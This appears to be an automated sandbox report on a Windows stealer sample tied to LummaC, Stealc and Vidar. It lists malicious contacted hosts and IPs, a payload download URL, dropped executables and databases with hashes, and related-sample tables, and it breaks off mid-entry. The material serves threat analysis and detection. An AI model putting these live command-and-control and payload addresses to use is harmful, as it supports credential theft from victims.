http://46.8.231.109/g	RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://possiwreeste.site/com/pk	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sketchfab.com	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	RegAsm.exe, 00000003.00000002.2200030737.000000001BE0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.orgAFB	RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://urusvisa.com:80om24	RegAsm.exe, 0000000E.00000002.2469818698.00000000004C4000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://agentyanlark.site/api	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109	RegAsm.exe, 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exeommonProxyStub.dll	RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://writekdmsnu.site/y9	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://writekdmsnu.site/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://agentyanlark.site/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900J2	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://urusvisa.com:80xe	RegAsm.exe, 0000000E.00000002.2469818698.0000000000503000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/sql.dllg	RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.HJDGCBFHDAFB	RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/x	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/	RegAsm.exe, 00000003.00000002.2192823083.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2471886617.0000000001451000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/0	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199780418869u55uMozilla/5.0	file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, DGHIECGCBK.exe, 0000000A.00000002.2161789576.00000000042BB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://web.telegram.org	RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2471886617.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com:80DHC	RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://t.me/3	RegAsm.exe, 0000000E.00000002.2471886617.0000000001451000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://writekdmsnu.site/api	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
147.45.44.104	files.veritas.org.ng	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.67.205.129	possiwreeste.site	United States	13335	CLOUDFLARENETUS	true
5.42.101.62	urusvisa.com	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
104.21.1.169	underlinemdsj.site	United States	13335	CLOUDFLARENETUS	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522594
Start date and time:	2024-09-30 12:21:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@48/58@21/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 96 Number of non-executed functions: 159
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:22:25	API Interceptor	9x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
147.45.44.104	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104/ldms/vfdafgh.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104/ldms/vfdafgh.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104/ldms/vfdafgh.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104/ldms/vfdafgh.exe
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104/prog/66f5dba87d7c8_sdfsdafd.exe#test4
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	147.45.44.104/prog/66f6f96a49147_vfdngnfd.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
urusvisa.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.42.101.62
urusvisa.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.42.101.62
t.me	https://linke.to/pkmlogistics	Get hash	malicious	Unknown	Browse	162.159.153.4
	https://form.asana.com/?k=SVzOAgf254NWBNm-dO6Wfg&d=1208255323046871	Get hash	malicious	Unknown	Browse	50.6.153.2
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	http://www.telegram-korea.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://cuq.tuq.mybluehost.me/binance/bnb	Get hash	malicious	Unknown	Browse	50.6.153.172
	http://www.35yc29h.xyz/	Get hash	malicious	Unknown	Browse	149.154.167.99
cowod.hopto.org	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/peltgon.zip	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/malt.zip	Get hash	malicious	Unknown	Browse	104.102.49.254
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	kuly.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	https://scearmcoommunnlty.com/goings/actives	Get hash	malicious	Unknown	Browse	104.102.49.254
possiwreeste.site	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.205.129
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.205.129
	xin.exe	Get hash	malicious	LummaC	Browse	172.67.205.129

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://linke.to/pkmlogistics	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://metrics.send.hotmart.com/v2/events/click/64ec6af4-7b81-4abf-9e97-fe7d70d45255?d=1nFwG70sgZqlXE	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/telop.zip	Get hash	malicious	Unknown	Browse	104.18.42.227
	https://content.app-us1.com/5zbe53/2024/09/30/8d9df716-ca99-47ed-825e-d3a2a0e6cd9e.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Shipping documents 000029393994400000000000.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Italya301 Kurumlu projesi_SLG620-50mm%0190%_ img .exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	http://langtonskilkenny.com/rrUrhf	Get hash	malicious	Unknown	Browse	104.17.25.14
	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PI#0034250924.xla.xlsx	Get hash	malicious	FormBook	Browse	172.67.216.244
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	MW3 Phoenix Legacy.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	https://steamcommninty.com/gift/activation/id=5947221648	Get hash	malicious	Unknown	Browse	147.45.47.40
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	147.45.60.44
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
AKAMAI-ASUS	https://content.app-us1.com/5zbe53/2024/09/30/8d9df716-ca99-47ed-825e-d3a2a0e6cd9e.pdf	Get hash	malicious	HTMLPhisher	Browse	23.47.168.24
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	104.77.220.172
	MagicUtilities-Setup-3.1.4.5-Win10.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/peltgon.zip	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/malt.zip	Get hash	malicious	Unknown	Browse	104.102.49.254
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PO554830092024.xls	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	PI#0034250924.xla.xlsx	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	Transmission Cost Database 2.0.xlsb	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/peltgon.zip	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	Loader.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254 172.67.205.129 104.21.1.169
	kuly.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.205.129 104.21.1.169
37f463bf4616ecd445d4a1937da06e19	z1Quotation.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.99
	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	149.154.167.99
	Gelato Italiano_74695.exe.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	Gelato Italiano_74695.exe.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	Bnnebgers.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	149.154.167.99
	NTS_eTaxInvoice.html.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.99
	Faktura_82666410_1361590461#U00b7pdf.vbe	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\KECFIDGCBF.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\KECFIDGCBF.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\IDGDAAKFHI.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\IDGDAAKFHI.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\DGHIECGCBK.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\DGHIECGCBK.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJDGIEHCAEHIEBFBKKKKFIDBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDAKEHIIDGD\HCBFIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKKEGIDBGHIDGDHDBFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHIECGCBK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	414248
Entropy (8bit):	7.989507251331655
Encrypted:	false
SSDEEP:	12288:XY1HgTKqPXxbx28l1ukOy325R4RQMJnJ9w6EO:XY1AtPB0KwkU5GRnJnxt
MD5:	38DABC7063C0A175A12C30BD44CF3DBC
SHA1:	6D7AABEBD8A417168E220C7497F4BC38C314DA3B
SHA-256:	DE664956D799E59E1CCA0788D545922EE420E3AFDCF277442F148F52BC78DF89
SHA-512:	674760AD37CF7886CA4CD786E4D1966D3827FDAD008A85A125E18BD474D073DAE8D4296427253BB86E78D3173A300611EE5EB2E01C1F968700679350FC17A24D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\(.f................."..........N@... ...`....@.. ....................................`..................................@..K....`...............,..(&...........>............................................... ............... ..H............text...T ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B................0@......H.........................................................................;.8.`..w.........r.b..... ..C.GA..~zxF.c.@Qe..8.....8$..a...N..!Q.4f...\.....d..a..e94...^Q8f.v....w.W..wH.kQ...,..3.A$#...P....)..S..o...b+gY.\o.....5.m.)..2.t.5.C..&z7....-.D...q!.....o........W2F...n;..~.9.....q4.l.V...O.p.l..m}.'...:.E..../%2..._..g...=.7.......m.......0^.hc..z$..c..s.?..`t6..@..BM......."vC.;'+d...>.V.[.I..H%"......w.E.....Y.....F.c........M...t..\.Q1.Dw

C:\ProgramData\FBFIDBFHDBGI\AAFHII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
